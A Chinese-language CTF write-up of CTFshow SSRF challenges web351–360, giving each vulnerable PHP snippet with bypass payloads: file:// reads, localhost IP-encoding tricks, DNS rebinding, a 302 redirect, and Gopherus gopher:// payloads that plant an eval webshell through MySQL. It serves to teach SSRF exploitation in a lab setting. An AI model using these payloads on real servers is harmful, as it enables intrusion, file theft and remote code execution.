文章目錄
- 前言:
- CTFshow
- web351
- web352
- web353
- web354
- web355
- web356
- web357
- web358
- web359
- web360
- 參考文獻
前言:
關于互聯網協議的一些認識:
互聯網協議1
互聯網協議2
CTFshow
對SSRF,比較重要的就是先嘗試每一個協議是否可以使用,
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化一個curl的會話
curl_setopt($ch, CURLOPT_HEADER, 0);//對會話進行設定引數
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);//將會話發給瀏覽器
curl_close($ch);//關倍訓話
echo ($result);
?>
代碼審計,發現就是特別普通的curl陳述句,沒有任何過濾,我們使用file協議來讀取本地檔案
所以我們可以使用file://來讀取flag.php檔案
payload
POST:url=file:///var/www/html/flag.php(一般的路徑是這個)
還有個:
url=http://127.0.0.1/flag.php(使用http://協議訪問本地檔案,類似于我們自己在本地搭建網站)
nginx配置路徑:/etc/nginx/ngin.conf,用file可以訪問
web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
parse_url:
本函式決議一個 URL 并回傳一個關聯陣列,包含在 URL 中出現的各種組成部分,
例子:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
輸出:
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
這個題需要滿足傳輸協議為http,https,但是ip地址不能為127.0.0.1
有許多繞過方式
進制轉換
1.進制轉換
十六進制
url=http://0x7F.0.0.1/flag.php
八進制
url=http://0177.0.0.1/flag.php
10 進制整數格式
url=http://2130706433/flag.php
16 進制整數格式,還是上面那個網站轉換記得前綴0x
url=http://0x7F000001/flag.php
2.特殊模式
url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.0000000000000.001/flag.php
3.0.0.0.0繞過
url=http://0.0.0.0/flag.php
4.用CIDR繞過localhost
url=http://127.127.127.127/flag.php
5.短標簽繞過,好像不行
ipv6繞過[::1],這題也不行,
使用句號繞過:url=http://127,0,0,1/flag.php,也不行
DNS重系結
web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\,/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
同上,但是有一些payload不能用
web354
代碼
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|,/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
我們可以使用a記錄的方式,就是我們127.0.0.1設為我們的域名A記錄,然后通過訪問我們的域名,就可以直接訪問到域名A記錄所指向的服務器IP地址,
url=http://sudo.cc/flag.php
A記錄的定義:
A記錄全稱Address記錄,又稱IP指向,是用來指定主機名(或域名)對應的IP地址記錄,用戶可以將該域名下的網站服務器指向到自己的web server上,同時也可以設定二級域名,從而實作通過域名找到服務器找到相應網頁的功能,
通俗的說A記錄就是域名系結到服務器的IP,A記錄就是告訴DNS,當你輸入域名的時候,通過在DNS的A記錄引導你到所對應的服務器,
但是預期解是利用腳本用unicode替換localhost的字符,
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
#print(res)
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
比如用a左邊的字符去替換a最終就是loc?hlhost
IDNA(Internationalizing Domain Names in Applications)應用程式國際化域名 ?
IDNA是一種以標準方式處理ASCII以外字符的一種機制,它從unicode中提取字符,并允許非
ASCII碼字符以允許使用的ASCII字符表示,
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
因為設定$host<=5的限制,我們只需要構造一個host的長度<=5
payload
url=http://0/flag.php
url=http://127.1/flag.php
web356
$host小于3
payload:
url=http://0/flag.php
web357
代碼
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);//回傳域名對應的ip地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme
其中的filter_var陳述句:官方檔案
使用特定的過濾器過濾一個變數
filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed
引數;
value:要過濾的內容,注意:標量值在過濾前,會被轉換成字串,
filter:The ID of the filter to apply. The Types of filters manual page lists the available filters.
If omitted, FILTER_DEFAULT will be used, which is equivalent to FILTER_UNSAFE_RAW. This will result in no filtering taking place by default.
options
一個選項的關聯陣列,或者按位區分的標示,如果過濾器接受選項,可以通過陣列的 "flags" 下標去提供這些標示, 對于回呼型的過濾器,應該傳入 callable, 這個回呼函式必須接受一個引數(即待過濾的值),并且回傳一個在過濾/凈化后的值,
回傳值:回傳過濾后的資料,如果過濾失敗則回傳 false
題意的:
FILTER_VALIDATE_IP 過濾器把值作為 IP 進行驗證,
Name: "validate_ip"
ID-number: 275
可能的標志:
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范圍內,該標志接受 IPV4 和 IPV6 值,
要求需要用私域IP,我們可以使用302跳轉
<?php
header("Location:http://127.0.0.1/flag.php");
然后訪問http://xxx.xxx.xxx.xxx/xxx.php就可以了,
還有第二種方法,利用DNS重系結
可以用到那種,限定某種ip地址,但是你需要訪問其他ip地址,就可以使用,
本題,限制是私域IP地址,但是你需要訪問127.0.0.1,所以就可以使用DNS重系結,
https://zhuanlan.zhihu.com/p/89426041
https://superxiaoxiong.github.io/2018/01/23/dns-rebinding/
在這個網站注冊一個賬號http://ceye.io/,然后會給你分配一個域名,然后系結127.0.0.1
payload:
url=http://r.xxxx.ceye.io/flag.php
web358
代碼
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
審計代碼,需要我們輸入url前綴為http://ctf.,后綴為show
我們可以使用@來過濾
url=http://ctf.@127.0.0.1/flag.php#1=show
解釋:http://1.1.1.1@127.0.0.1 ==>http://127.0.0.1
用#或者?把后綴show過濾了,
web359
web359是打無密碼的mysql,我們可以使用萬能的SSRF工具:https://github.com/tarunkant/Gopherus
直接命令列運行,我們寫shell

得到
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01
但是curl會默認解碼一次,把gopher://127.0.0.1:3306/_再urlencode一次,得到
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501
最后輸入密碼,該returl值,然后shell寫進去了
訪問url/1.php,任意命令執行,
web360
步驟和上面的差不多
先用gopherus生成<?php eval($_POST[1]);?>
然后傳入shell,默認生成shell.php
訪問shell.php,任意命令執行,
參考文獻
羽師傅
feng師傅
Y4爺
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/330097.html
標籤:其他
